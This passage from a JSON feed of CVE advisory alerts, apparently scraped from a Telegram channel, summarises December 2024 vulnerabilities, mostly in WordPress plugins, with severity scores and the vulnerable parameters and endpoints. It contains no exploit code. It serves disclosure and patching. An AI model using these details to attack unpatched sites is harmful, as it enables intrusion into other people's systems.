2024, 1:15 a.m. | 37\u00a0minutes ago \nDescription : The vulnerability occurs in the parsing of CSP files. The issues result   \nfrom the lack of proper validation of user-supplied data, which could   \nallow reading past the end of allocated data structures, resulting in   \nexecution of arbitrary code. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T03:13:21.000000Z"}, {"uuid": "2cdb8d57-f93a-46bb-b303-42fc6e47a541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12271", "type": "seen", "source": "https://t.me/cvedetector/12788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12271 - \"360 Javascript Viewer Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12271 \nPublished : Dec. 12, 2024, 1:15 p.m. | 23\u00a0minutes ago \nDescription : The 360 Javascript Viewer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018ref\u2019 parameter in all versions up to, and including, 1.7.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T14:40:28.000000Z"}, {"uuid": "adabc369-48d1-40d4-ada9-97efc2dfe768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12401", "type": "seen", "source": "https://t.me/cvedetector/12760", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12401 - \"Cert-manager DoS Denial-of-Service Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12401 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:20:16.000000Z"}, {"uuid": "693f1f70-b3c4-484d-8407-3f6361a69062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/cvedetector/12759", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12397 - Quarkus-HTTP Cookie Parsing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12397 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with  \ncertain value-delimiting characters in incoming requests. This issue could  \nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie  \nvalues or spoof arbitrary additional cookie values, leading to unauthorized  \ndata access or modification. The main threat from this flaw impacts data  \nconfidentiality and integrity. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:28.000000Z"}, {"uuid": "e7916c36-a2df-44f6-ad45-6b55d05583ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12333", "type": "seen", "source": "https://t.me/cvedetector/12758", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12333 - Woodmart WordPress Shortcode Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12333 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : The Woodmart theme for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 8.0.3. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode through the woodmart_instagram_ajax_query AJAX action. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:24.000000Z"}, {"uuid": "1b229d6b-c3bb-480d-878a-aed70d4377c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12160", "type": "seen", "source": "https://t.me/cvedetector/12757", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12160 - \"WooCommerce Seraphinite XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12160 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : The Seraphinite Bulk Discounts for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 2.4.6. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:23.000000Z"}, {"uuid": "a38d60e4-674b-444b-8049-e7a725e2bb96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12564", "type": "seen", "source": "https://t.me/cvedetector/12753", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12564 - Open Design Alliance CDE Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12564 \nPublished : Dec. 12, 2024, 8:15 a.m. | 21\u00a0minutes ago \nDescription : Exposure of Sensitive Information to an Unauthorized Actor vulnerability was discovered in Open Design Alliance CDE inWEB SDK before 2025.3. Installing CDE Server with default settings allows unauthorized users to visit prometheus metrics page. This can allow attackers to understand more things about the target application which may help in further investigation and exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T09:39:00.000000Z"}, {"uuid": "273f134a-67f0-41d7-987e-f1e43bf6bcb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12201", "type": "seen", "source": "https://t.me/cvedetector/12748", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12201 - WordPress Hash Form Drag & Drop Form Builder Missing Capability Check Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12201 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Hash Form \u2013 Drag & Drop Form Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check when creating form styles in all versions up to, and including, 1.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to create new form styles. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:51.000000Z"}, {"uuid": "43042d62-2456-4a52-9806-8c74b4497dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12018", "type": "seen", "source": "https://t.me/cvedetector/12735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12018 - WordPress Snippet Shortcodes Unauthorized Shortcode Deletion\", \n  \"Content\": \"CVE ID : CVE-2024-12018 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Snippet Shortcodes plugin for WordPress is vulnerable to unauthorized Shortcode Deletion due to missing authorization in all versions up to, and including, 4.1.6. Note that a nonce is used as authentication here, but the value is leaked. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Shortcodes. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:36.000000Z"}, {"uuid": "0ef59e2f-06ff-41d0-9a96-5ae5ff896b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12263", "type": "seen", "source": "https://t.me/cvedetector/12733", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12263 - Orbisius WordPress Child Theme Creator Unauthenticated Data Manipulation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12263 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Child Theme Creator by Orbisius plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the cloud_delete() and cloud_update() functions in all versions up to, and including, 1.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and delete cloud snippets. Please note that this vulnerability was present in the Cloud Library Addon used by the plugin and not in the plugin itself, the cloud library has been removed entirely. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:32.000000Z"}, {"uuid": "54aba3af-e062-4674-8e5c-254f212fb48b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12255", "type": "seen", "source": "https://t.me/cvedetector/12732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12255 - Stripe Payments Using Contact Form 7 Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12255 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Accept Stripe Payments Using Contact Form 7 plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.5 via the cf7sa-info.php file that returns phpinfo() data. This makes it possible for unauthenticated attackers to extract configuration information that can be leveraged in another attack. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:31.000000Z"}, {"uuid": "6651c1e6-83b7-482b-98de-a2993b845ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://t.me/cvedetector/12731", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12172 - \"Wordpress WP Courses LMS Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12172 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The WP Courses LMS \u2013 Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wpc_update_user_meta_option() function in all versions up to, and including, 3.2.21. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary user's metadata which can be levereged to block an administrator from accessing their site when wp_capabilities is set to 0. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:30.000000Z"}, {"uuid": "13b38bdb-b379-4896-b29c-e14c994c0a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12040", "type": "seen", "source": "https://t.me/cvedetector/12736", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12040 - WooCommerce Product Carousel Slider & Grid Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12040 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Product Carousel Slider & Grid Ultimate for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.9.10 via the 'theme' attribute of the `wcpcsu` shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:37.000000Z"}, {"uuid": "6b92de8d-d415-4cb6-8742-5ad44ac6bd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12479", "type": "seen", "source": "https://t.me/cvedetector/12660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12479 - Wetech-CMS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12479 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2 and classified as critical. This issue affects the function searchTopicByKeyword of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\TopicDao.java. The manipulation of the argument keyword leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:39.000000Z"}, {"uuid": "a8addaac-0fcb-46b9-9046-e64b262be268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/cvedetector/12659", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12382 - Google Chrome Translate Use-After-Free Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12382 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : Use after free in Translate in Google Chrome prior to 131.0.6778.139 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:38.000000Z"}, {"uuid": "6da888a7-7055-4890-97d5-6a6e1d48b93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12485", "type": "seen", "source": "https://t.me/cvedetector/12658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12485 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12485 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Online Class and Exam Scheduling System 1.0. This issue affects some unknown processing of the file /pages/department.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:35.000000Z"}, {"uuid": "2656f4f5-cfd7-4d5a-85e5-ce6ff0040460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "https://t.me/cvedetector/12729", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12059 - Elementor ElementInvader Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12059 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:26.000000Z"}, {"uuid": "0246f6e1-4130-4cd6-aaf4-8a00378eef19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "https://t.me/cvedetector/12631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12325 - WordPress Waymark Plugin Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12325 \nPublished : Dec. 11, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : The Waymark plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T14:24:09.000000Z"}, {"uuid": "b612aa42-5593-4013-9223-f489999eee36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12265", "type": "seen", "source": "https://t.me/cvedetector/12725", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12265 - \"DePay WooCommerce for WordPress Debug Information Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12265 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Web3 Crypto Payments by DePay for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the /wp-json/depay/wc/debug REST API endpoint in all versions up to, and including, 2.12.17. This makes it possible for unauthenticated attackers to retrieve debug infromation. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:23.000000Z"}, {"uuid": "1a5d8fb0-7718-41da-9715-9fb160db684b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12162", "type": "seen", "source": "https://t.me/cvedetector/12712", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12162 - Ultimate Member WordPress Reflected Cross-Site Scripting in Video & Photo Gallery\", \n  \"Content\": \"CVE ID : CVE-2024-12162 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Video & Photo Gallery for Ultimate Member plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:59.000000Z"}, {"uuid": "b499f31e-bb8c-47f9-a577-b10a8c3e79cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12156", "type": "seen", "source": "https://t.me/cvedetector/12711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12156 - WordPress RSS Feed to Post Autoblogging SEO Help Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12156 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The AI Content Writer, RSS Feed to Post, Autoblogging SEO Help plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 6.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:55.000000Z"}, {"uuid": "6dc49d15-6e14-4579-a6b8-cda0111a4fad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12441", "type": "seen", "source": "https://t.me/cvedetector/12710", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12441 - WordPress BP Email Assign Templates Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12441 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The BP Email Assign Templates plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:54.000000Z"}, {"uuid": "65f13edf-b5cb-4848-9229-71290a675acd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12406", "type": "seen", "source": "https://t.me/cvedetector/12709", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12406 - WordPress Manage e-Digital Books Library Plugin SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12406 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Library Management System \u2013 Manage e-Digital Books Library plugin for WordPress is vulnerable to SQL Injection via the 'owt7_borrow_books_id' parameter in all versions up to, and including, 3.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:54.000000Z"}, {"uuid": "f0618195-0963-4450-8829-640083bf1555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12463", "type": "seen", "source": "https://t.me/cvedetector/12707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12463 - \"Arena.IM Live Blogging for WordPress Stored Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12463 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Arena.IM \u2013 Live Blogging for real-time events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'arena_embed_amp' shortcode in all versions up to, and including, 0.3.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:52.000000Z"}, {"uuid": "9be7fe5c-6eff-4213-a813-ff023bfa738e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12260", "type": "seen", "source": "https://t.me/cvedetector/12689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12260 - WordPress Ultimate Endpoints With Rest Api Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12260 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Ultimate Endpoints With Rest Api plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:23.000000Z"}, {"uuid": "04f90a54-8b57-47ce-9a32-5142b32aa34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12341", "type": "seen", "source": "https://t.me/cvedetector/12688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12341 - WordPress Custom Skins Contact Form 7 Unauthenticated Data Tampering Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12341 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Custom Skins Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'cf7cs_action_callback' function in all versions up to, and including, 1.0. This makes it possible 